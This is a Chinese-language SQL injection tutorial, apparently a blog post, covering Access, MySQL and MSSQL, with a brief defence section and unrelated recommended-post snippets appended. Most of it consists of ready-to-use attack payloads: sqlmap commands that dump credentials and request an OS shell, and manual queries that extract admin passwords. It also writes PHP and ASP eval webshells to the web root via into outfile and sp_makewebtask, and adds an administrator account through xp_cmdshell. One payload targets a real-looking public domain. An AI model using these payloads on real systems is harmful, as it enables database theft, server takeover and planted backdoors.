1、SQL注入基础

1.1、SQL注入基础

SQL注入( SQL Injection ):程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”。

URL SQL
www.test.com/news.php?id=1 FROM news WHERE id=1
www.test.com/news.php?id=1’ SELECT * FROM news WHERE id=1’
www.test.com/news.php?id=1 and 1=1 SELECT * FROM news WHERE id=1 and 1=1
www.test.com/news.php?id=1 and 1=2 SELECT * FROM news WHERE id=1 and 1=2
www.test.com/login.php?user=lisi
www.test.com/login.php?user=lisi’ SELECT * FROM users WHERE user=‘lisi’’
www.test.com/login.php?user=lisi’ and ‘1’='1 SELECT * FROM users WHERE user=‘lisi’ and ‘1’=‘1’

1.2、SQL注入分类

1.2.1、按变量类型分

  • 数字型注入
  • 字符型注入
  • 搜索型注入

1.2.2、按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

1.2.3、按注入方式分

  • 报错注入
  • union注入
  • 盲注基于时间注入

1.2.4、编码问题

  • 编码问题的宽字节注入

1.3、SQL注入漏洞的危害

1.3.1、数据库信息泄漏

数据库中存放的用户的隐私信息的泄露。

1.3.2、网页篡改

通过操作数据库对特定网页进行篡改。

1.3.3、网站被挂马,传播恶意软件

修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

1.3.4、数据库被恶意操作

数据库服务器被攻击,数据库的系统管理员帐户被窜改。

1.3.5、服务器被远程控制,被安装后门

经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

1.3.6、操作文件系统

一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

2、SQL注入工具

啊D注入工具,明小子综合注入(仅支持Access和SQL Server,不支持其他数据库)
Havij,Pangolin(支持Mysql,Oracle)

SQLmap
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139"
python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --tables # 列出表
python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --columns -T admin # 列出字段
python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin # 列出表中内容
python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -C id,admin,password -T admin # 列出表中指定字段的内容

2.1、Access手工注入

2.1.1、判断数据库类型

and (select count(8) from msysobject)>0 //返回权限不足则为access数据库

2.1.2、猜表名

and exists (select * from 表名)
and (select count(*) from 表名)>0

exists ()的作用是:()里若是返回结果集,就为真。
*是通配符,可代指一个字母或一个单词,代表任意,即存在数据。select * from admin的意思是:在admin这个表中是否存在数据,若存在数据,exists ()就为真,and前后两个语句都为真,程序返回正常;若admin表不存在,就是为空集,exists ()为假,程序报错。因此通过替换“admin”就可以判断替换的表是否存在。

2.1.3、猜字段名

and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0

username是猜解的列名,count()的作用是:返回指定条件的行数,count(username)意思是:返回“username”有几行,存在的话返回“1”(列名不能有重复),exists ()就为真,程序返回正常,若不存在的话,返回“0”,即为空集,exists ()就为假,程序报错,改变“username”即可判断输入的列名是否存在。

2.1.4、猜字段值的长度

and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n

2.1.5、猜字段值

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

要猜解它的内容,就要先知道它里面内容的长度,知道长度后才可以进行逐位猜解。
一般情况下,是用Mid(列名,N,1)来截取列名的第N位字符,再用ASC()函数将截取到的的字符转换ASCII码:ASCII码又叫美国信息标准码,可以将字母或符号转换为数字,如a的十进制ASCII码为97,猜解出来的是ASCII码的值,还需要对其进行转换。为了加快猜解速度,可以使用折半法进行猜解。

http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from 表名)
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select 列名 from 表名)
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>0
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>10
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>20
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)=5
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1)) from admin)=100
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,3,1)) from admin)=109
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,4,1)) from admin)=105
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,5,1)) from admin)=110
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97

2.2、Access高级手工注入(但不是所有的注入点都适合)

2.2.1、判断数据库类型

and user>0 //通过内置变量爆数据库类型
and (select count(*) from msysobjects)>0 //返回权限不足为access数据库
and (select count(*) from sysobjects)>0 //返回正常则为MSSQL数据库

2.2.2、猜表名

and exists (select * from 表名)
and (select count(*) from 表名)>=0

2.2.3、猜字段名

and exists(select 字段名from 表名)
and (select count(字段名) from 表名)>=0

2.2.4、Order by猜字段数目

order by 1
order by 2
order by n

2.2.5、Union select 爆字段内容

and 1=2 union select 1,字段名,字段2,...,n from 表名
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
UNION运算要求查询具有相同数目的字段,但是字段数据类型不必相同

注意,Access使用union联合查询,不论前面的查询语句是否为真,后面的查询语句都会覆盖前面的结果,MySQL使用union联合查询时,只有前面的查询语句为假,后面的查询语句才会覆盖前面查询语句的内容,否则不会显示union后面的查询语句,也就无法爆出用户名密码

2.3、MySQL注入工具,啊D,明小子,Havij,Pangolin,SQLmap

啊D、明小子只支持ACCESS和MSSQL环境的注入点,不支持MYSQL。
Havij、Pangolin支持ACCESS/MSSQL/MYSQL等常见数据库。
SQLMAP支持市面上基本所有的数据库。

python sqlmap.py -u "http://localhost/mysql.php?id=1"
python sqlmap.py -u "http://localhost/mysql.php id=1" --dbs # 列出存在的数据库
python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-db # 列出当前正在使用的数据库,当前页面正在和哪一个数据库交互
python sqlmap.py -u "http://localhost/mysql.php?id=1" --tables -D sqlinject # 列出表,-D指定数据库
python sqlmap.py -u "http://localhost/mysql.php?id=1" --columns -T users -D sqlinject # 列出字段,-T指定表,-D指定数据库
python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -T users -D sqlinject # 列出数据库内容
python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -C id,username,password -T users -D sqlinject
python sqlmap.py -u "http://localhost/mysql.php?id=1" --users # 读取mysql所有用户
python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-user # 读取当前用户
python sqlmap.py -u "http://localhost/mysql.php?id=1" --is-dba # 判断当前用户是否为root账户
python sqlmap.py -u "http://localhost/mysql.php?id=1" --passwords # 读取mysql所有用户hash密码
python sqlmap.py -u "http://localhost/mysql.php?id=1" --banner # 读取mysql具体版本
python sqlmap.py -u "http://localhost/mysql.php?id=1" --os-shell #

2.4、MySQL手工注入

Mysql中不用判断表是否存在,可以直接order by判断页面中的字段数量。

http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+3
http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+4

通过order by 得到页面字段数量后,即可通过union select确定显示位。

http://192.168.0.104/sqlinject/mysql.php?id=1+union+select+1,2,3

页面中不但显示了正常的内容,也显示了显示位信息。如果要避免正常内容对显示位产生误导影
响,可通过在union select之前增加and 1=2的方式屏蔽原始的正常内容。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+1,2,3

And 1=2的作用,是把union select之前的语句变成FALSE的状态,即可使union之后的值覆盖前边的值。
为了达到这种覆盖的效果,将URL中传递参数的值变为数据库中一定不会存在的值也可以。
比如:

http://192.168.0.104/sqlinject/mysql.php?id=1000+union+select+1,2,3
http://192.168.0.104/sqlinject/mysql.php?id=-1+union+select+1,2,3

页面上显示的1、2、3等数字就是显示位,可以用于后续注入查询数据的展示。

得到显示位后,即可查询版本、当前用户、当前数据库等基本信息。只要是mysql支持的函数,都可以在显示位处执行。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+user(),version(),database()

从MySQL 5开始, 你可以看到多了一个系统数据库information_schema。
来看一下information_schema库的表有哪些:information_schema存贮了其他所有数据库的信息,但它物理上并不存在,在需要的时候,从其他数据库获取相应的信息。
如果注入点所使用的mysql账户对information_schema有读取权限的话,攻击者就可以直接从该库中得到他想要的一切信息。
更多关于information_schema的详细信息可以看官网介绍:
http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

2.4.1、查库语法

select concat(GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns;

这条SQL语句的意思,就是从information_schema库的COLUMNS表中查询出所有TABLE_SCHEMA列的内容并过滤重复。
查库语法在SQL注入点中的示例:

http://www.cmiqc.com/content/info.php?id=253+and+1=2+union+select+1,2,3,concat(GROUP_CONCAT(DISTINCT+table_schema)),5,6,7,8+from+information_schema.columns

一条注入指令,就爆出了当前mysql中所有的库名列表。这是因为在COLUMNS表中的TABLE_SCHEMA列中存储了mysql中所有的非空库名。
实际上在很多其他的表中也存在TABLE_SCHEMA列,这些列中也存储了mysql中所有的非空库名,比如information_schema.SCHEMATA表。
SQL注入语法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(schema_name)),2,3+from+information_schema.SCHEMATA

还有information_schema.TABLES表也可以用于查库。SQL注入语法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_schema)),2,3+from+information_schema.TABLES

2.4.2、查表

可以从information_schema.TABLES和information_schema.COLUMNS这2个表中查询各个库中的所有表名。
SQL注入语法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_name)),2,3+from+information_schema.TABLES+where+table_schema='xssme'
http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCTtable_name)),2,3+from+information_schema.TABLES+where+table_schema=0x7873736D65

2.4.3、查列

可以从information_schema.COLUMNS表中查询出每个库中每个表中所包含的列名。
SQL注入语法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name= 'oc_user'
http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name=0x6F635F75736572

3、常用变量与函数

3.1、MySQL注入-常用变量与函数

在mysql中执行SHOW VARIABLES;就可以返回当前所有可用的变量和变量的值

变量 功能说明
@@version_compile_os 返回操作系统类型
@@Datadir 返回数据存储目录的路径
@@Basedir 返回mysql安装目录的路径
@@log_error 返回mysql错误日志的路径
@@plugin_dir 返回mysql的插件目录的路径
@@tmpdir 返回mysql存储临时文件的目录路径
@@skip_networking 返回mysql是否只允许本地连接的布尔值,1为是,0为否
函数 功能说明
version() 返回数据库版本
database() 返回当前库名
user() 返回当前登录用户,可用SYSTEM_USER()、SESSION_USER()、CURRENT_USER()替代
concat() 用于连接一个或者多个字符串,注入中一般用于在一个位置显示多个内容
GROUP_CONCAT() 一次性返回一列的全部内容
load_file() 读取文件
into outfile() 导出文件,导出过程中会转义换行符并在行末端写入新行
into dumpfile() 导出文件,不对数据做任何修改,但只能导出一行数据

3.2、MySQL注入-Concat()和concat_ws()函数

Concat()函数用于连接一个或者多个字符串,注入中一般用于在一个位置显示多个内容。当注入点的显示位只有一个,但又需要同时显示多条内容时,就需要使用concat()函数。
语法:

select concat(user(),',',database(),',',version());
select concat(user(),0x2c,database(),0x2c,version());

SQL注入语法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(user(),0x2c,database(),0x2c,version()),2,3

Concat()函数的语法不会主动为每个被包含的内容中间加上分隔符号以更便于阅读,所以需要手动
在每两个被包含内容中间增加分隔符号。
Concat_ws()函数可以指定一个分隔符号,从而帮助我们在被包含的两个内容中间自动添加该分隔
符号,比如:

select concat_ws(0x2c,user(),database(),version());

SQL注入代码:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat_ws(0x2c,user(),database(),version()),2,3

4、MySQL高级注入-Load_file和into outfile

4.1、利用条件

  • Mysql账户具备file权限
  • Mysql版本为3.23以上,否则低版本的mysql没有into
    outfile和dumpfile函数,无法导出文件,官方说明见:http://dev.mysql.com/doc/refman/4.1/en/select.html
  • 被导出的目录可写可执行

4.2、Mysql账户的file权限是什么?

Mysql安装之后会存在一个名为mysql的默认数据库,这个库中存储了mysql的大部分配置信息。
每个mysql账户的权限控制信息存储在mysql.user表中,File_priv确定用户是否可以执行SELECT INTO OUTFILE和LOAD DATA INFILE命令。对于渗透测试来说,经常需要关注的字段是mysql.user. File_priv,这个字段的值是一个布尔值,它决定了该用户是否具备操作磁盘上的文件的权限。比如如果mysql.user. File_priv中对mysql账户root的定义值是Y,那么root就有权读写服务器磁盘上的文件。反之,如果该值为N,则root无权读写服务器磁盘上的文件。
所以,在注入时,不能看到是root就判断一定可以利用into outfile/loadfile函数。能否利用into outfile/loadfile/into dumpfile这种文件操作函数与账户名无关,与mysql.user. File_priv字段中对该账户的权限分配有关。
可以使用以下SQL语句查询用户是否具备File_priv权限:

select HOST,USER,FILE_PRIV from mysql.user;

在当前账户没有文件操作权限时执行into outfile/loadfile/into dumpfile等文件操作函数,会提示Access denied访问拒绝:
如果要禁用某个mysql账户的文件操作权限,则构造以下SQL语句执行即可:

UPDATE mysql.user SET File_priv = 'N' WHERE User='fan';
FLUSH PRIVILEGES;

如果要禁用所有账户的文件操作权限,则执行:

UPDATE mysql.user SET File_priv = 'N';
FLUSH PRIVILEGES;

切记在修改完用户权限后,一定要执行“FLUSH PRIVILEGES;”语句重载mysql用户授权表或重启mysql服务,否则mysql依然使用的是缓存在内存中的权限配置。

4.2.3、Load_file读文件

因为mysql中字符串可以用16进制表示,所以要加载的文件的路径及文件名可以转换为16进制后执行,这样可以绕过GPC的限制。
前提条件:

  • 文件必须在服务器上。
  • LOAD_FILE()函数操作文件的当前目录是@@datadir 。
  • MySQL用户必须拥有对此文件读取的权限。
  • 文件大小必须小于 max_allowed_packet。
  • @@max_allowed_packet的默认大小是1047552 字节。

示例:

select load_file('C:\\boot.ini');

可以将文件路径转换为16进制再读取:

select load_file(0x433A2F7068705F777777726F6F742F31375F30395F32342E6C6F67);

在注入点的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file('C:\\boot.ini');
http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file(0xhex);

4.2.4、into outfile写文件

前提条件:

  • INTO OUTFILE 不可以覆盖已存在的文件。
  • INTO OUTFILE 必须是最后一个查询。
  • 引号是必须的,因为没有办法可以编码路径名。

SQL语句:

select 0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao.php'

在注入点的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao2.php'

4.2.5、secure-file-priv参数

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如何查看secure-file-priv参数的值:

show global variables like '%secure%';

此开关默认为NULL,即不允许导入导出。
官方说明:
https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_ priv
https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_secure_file_ priv

5、MSSQL注入

python sqlmap.py -u "http://localhost:83/looknews.asp?id=20"
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dbs
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --current-db
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --tables -D db_shop
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --columns -T users -D db_shop(读不出列,需手工)
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -T users -D db_shop(读不出列,需手工)
python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -C id,username,password -T users -D db_shop(读不出列,需手工)

5.1、基本注入

单引号判断注入
判断数据库类型

and user>0 //通过内置变量爆数据库类型
and (select count(*) from sysobjects)>0 //返回正常则为MSSQL数据库

user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。
如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
在本文演示的案例中,提示就是dbo,那么说明当前注入点的权限是sa。
判断版本:and (select @@version)>0;--

判断当前数据库:

and db_name()>0;-- 获取机器名:
and (select @@servername)>0;-- 判断是否为sa权限:
and (select is_member('db_owner'))>0;-- 判断是否有master库读取权限:
and (select HAS_DBACCESS('master'))>0;-- 有master库的读取权限,就可以遍历数据库中存在的所库的名字了。

5.2、爆库

and (select name from master.dbo.sysdatabases where dbid=1)>0;--
and (select name from master.dbo.sysdatabases where dbid=2)>0;-- 也就是不断变化dbid的值,来遍历数据库中所有的库名,其默认数据库的 id 号从 6 以后为

用户定义数据库。
当dbid的值足够大时,那么数据库中肯定没有这么多的库,这时and语句的执行结果就会是false:
ADODB.Field 错误 '80020009’BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/shop/looknews.asp,行 0

5.3、爆表

http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 )>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass'))>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin'))>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class'))>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class','D99_CMD'))>0;--

5.4、暴列

http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0;--
http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),2) from sysobjects)>0;--
http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),3) from sysobjects)>0;--

5.5、爆内容

只要将之前得到的表名列名进行组合查询,形成完整的SQL查询语句即可进行正常的查询。

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin)>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin)>0;--

按照上述的手法可以得到第一条数据,不过想得到第2条或第N条数据的话,就稍微有点麻烦。

取得第二条数据:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 1 username from admin))>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 1 pass from admin))>0;--

取得第三条数据:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 2 username from admin))>0;--
http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 2 pass from admin))>0;--

MSSQL总结

爆库、表、字段、内容分别是
http://192.168.1.21/looknews.asp?id=20 and (select name from master.dbo.syasdatabases where dbid=1)>0; --
http://192.168.1.21/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u')>0; --
http://192.168.1.21/looknews.asp?id=20 and (select col_name(object_id('admin'),1))>0; --
http://192.168.1.21/looknews.asp?id=20 and (select top 1 username from admin)>0; --

6、SQL注入

6.1、MSSQL高级注入-存储过程

存储过程:存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了便利,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序 拥有了和c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。

6.2、MSSQL高级注入-XP_CMDSHELL

判断XP_CMDSHELL是否存在

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name ='xp_cmdshell');-- 如果存在,会返回正常页面。

如果不存在,会提示:
ADODB.Field 错误 ‘800a0bcd’
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。

http://localhost:83/shop/looknews.asp?id=20;Exec master.dbo.xp_cmdshell 'net user cmdshell cmdshell /add';--
http://localhost:83/looknews.asp?id=20;exec master.dbo.xp_cmdshell 'net localgroup administrators cmdshell /add';--

6.3、MSSQL高级注入-通过sp_makewebtask直接获得webshell

如果未启用Web Assistant Procedures,那么MSSQL会提示错误:
SQLServer 阻止了对组件 ‘WebAssistant Procedures’ 的 过程’sys.xp_makewebtask’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。

开启:exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
写入webshell:exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>'' '
SQL注入:
http://localhost:83/looknews.asp?id=20;exec sp_makewebtask 'C:\Inetpub\wwwroot\asp_mssql\test.asp','select''<%25eval request("pass")%25>'''; --

6.4、SQL注入防御

6.4.1、输入验证:验证应用接收到的输入时一种可用的功能强大的控制手段。

  • 黑名单验证:黑名单验证的常用方法是使用正则表达式。

  • 白名单验证:

    验证数据是否为白名单范围中的内容。
    数据类型:字符、数字等。
    数据大小:字符串长度是否正确,数字的大小和精度是否正确。
    数据范围:如果是数字型,是否位于该数据类型期望的数字范围。
    数据内容:数据是否属于期望的数据类型,如手机号码,它是否满足期望的值。

6.4.2、使用参数化语句

PHP包含很多用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。

6.4.3、使用存储过程

将应用设计成专门使用存储过程来访问数据库是一种可以防止或减轻SQL注入影响的技术。存储过程是保存在数据库汇总的程序。根据数据库的不同,可以使用很多不同语言及其变体来编写存储过程。

2021年6月10日08点53分 SQL注入相关推荐

  1. 时间格式的转换 例如:(2021-05-10 14:20:43) 转为( 2021年5月10日 14时20分43秒)

    console.log(name('2021-02-10 14:20:43'));function name(date) {const arr = date.split(/[-: ]/)return ...

  2. 2021年6月7日08点37分 渗透测试基础部分

    1.基础知识 1.1.HTTP 一个客户端请求应答的标准 基于TCP层次的应用层协议,默认端口80 1.2.HTTPS 以安全为目标的HTTP通道,简单来说是HTTP的安全版,既HTTP下加入SSL层 ...

  3. 吃鸡服务器8月10日维护,《黑潮之上》2021年8月10日不停服维护公告

    在黑潮之上手游中2021年8月10日更新了哪些有趣的内容呢?想了解本次更新情况如何的小伙伴们,接下来就让我们一起来看一下吧! 各位接触者: 为了提供良好的游戏体验,保证服务器稳定运行,<黑潮之上 ...

  4. 天刀服务器维护时间,《天涯明月刀》2021年3月10日服务器例行维护公告 服务器例行维护怎么样...

    天刀在3月10日进行了日常维护,虽说是日常维护但是在这次的更新之中却有诸多预热的新亮点,并且还爆料了不少有关新资料片的内容,下面就一起来看看这次更新的公告吧 <天涯明月刀>2021年3月1 ...

  5. XSX和PS5对标的电脑配置(2021年12月10日分析)

    Xbox Series X对标电脑配置(2021年12月10日下午) 前言 最近买了台小米电视86,光看电视感觉不过瘾,想玩点游戏. 但是专门买一个XSX或者PS5又感觉没必要,因为我也不是游戏重度爱 ...

  6. 汤道生任腾讯云与智慧CEO;阿里巴巴副总裁范驰离职 | 高管变动2021年5月10日-16日...

    腾讯.阿里巴巴.高鑫零售.新世界百货.开心汽车.招商银行.日立.Waymo.雅诗兰黛.Vans等公司高管变动. 中国 腾讯云与智慧产业事业群(CSIG)宣布新一轮架构升级,腾讯公司高级执行副总裁汤道生 ...

  7. 2021年1月10日停电感慨

    因为没电没网,然后看书的话好多盲区知识没法查资料,而且冷得让人没法伸出手. 今日回顾 今天呢,从凌晨1点开始停电,到晚上23点恢复,一系列原因,手机,平板,电脑都没电了,然后一家人围着火炉(有电的时候 ...

  8. 2021年12月10日

    你说,为什么鼓励人的时候为什么都是用一些积极向上的话呢?是因为大家都觉得这些话能给人带来力量吗?可是,我真的不觉得.过去这么多年,当我颓靡散漫的时候,很多人都会让我加油,告诉我一定要达到什么样的目标, ...

  9. 2021年5月10日 星期一 阴

    「无论进度多么缓慢,只要继续前行,总有一天能看到曙光.一如唐三藏跋涉千里到天竺取经,最终将带回的大部头佛经译成汉文,创下伟业:或如禅海和尚坚韧不拔地挖掘岩石,历经三十年终在断崖上打通隧道.辞典亦是如此 ...

  10. 2021年6月10日【Jiawei_Z】汇川技术的调试线,没有咋办呢?

    汇川技术620P和660P的调试口CN3/CN4分析 电路原理 看懂原理就不需要下面的S6-L-T00-3.0调试线了 方法1.不改电路不飞线–直接购买RS232转换线USB转串口线 方法2.改电路飞 ...

最新文章

  1. 美国版“非升即走”瞄准终身教授,2年评审不通过就减薪撤职,其他高校开始抢人...
  2. guido正式发布python年份_Python 基础学习笔记.docx
  3. Chart Share
  4. 优酷电视剧爬虫代码实现一:下载解析视频网站页面(3)补充知识点:htmlcleaner使用案例...
  5. 数字系统设计学习之QuartusII9的安装
  6. 李飞飞创建的AI4All启动首次mentorship计划
  7. JQuery 插件之Ajax Autocomplete(ajax自动完成)
  8. 部署SpringBoot项目到腾讯云或其他服务器
  9. http://www.cnblogs.com/peida/archive/2013/05/31/3070790.html深入理解Java:SimpleDateFormat安全的时间格式化...
  10. postgres 显示变量,如何在PostgreSQL查询中声明变量
  11. 常见图像加密性能评价指标(详解加python实现)
  12. UiPath常用元素识别
  13. AI前沿论坛会议—文字智能和游戏智能总结篇
  14. rk3568 android11 PCIE接Intel I350网卡
  15. 服务器网站需要多大硬盘,做网站服务器硬盘多大
  16. 5G NR 随机接入RACH流程(3)-- Msg1之选择正确的PRACH时频资源
  17. 口语:英语单词发音规则
  18. 教你如何将华为云CDN日志转存到OBS
  19. 运维之道 | MySQL主从复制、主主复制
  20. 字符流和字节流的原理及区别

热门文章

  1. MySQL - 常见SQL笔试题整理(长期更新)
  2. 联想i5无线网无法连接服务器,联想笔记本无线网络连接不上是什么原因
  3. Mac Book Pro中idea常用快捷键
  4. python 调用大漠
  5. PSFTP工具的使用教程
  6. nginx基本原理介绍
  7. Docker-删除untagged docker images
  8. 解决npm下载包慢的方法
  9. Linux面试题(总结最全面的面试题)
  10. MATLAB常见问题:小数保留有效数字位数相关问题/除法结果问题/数据显示格式设置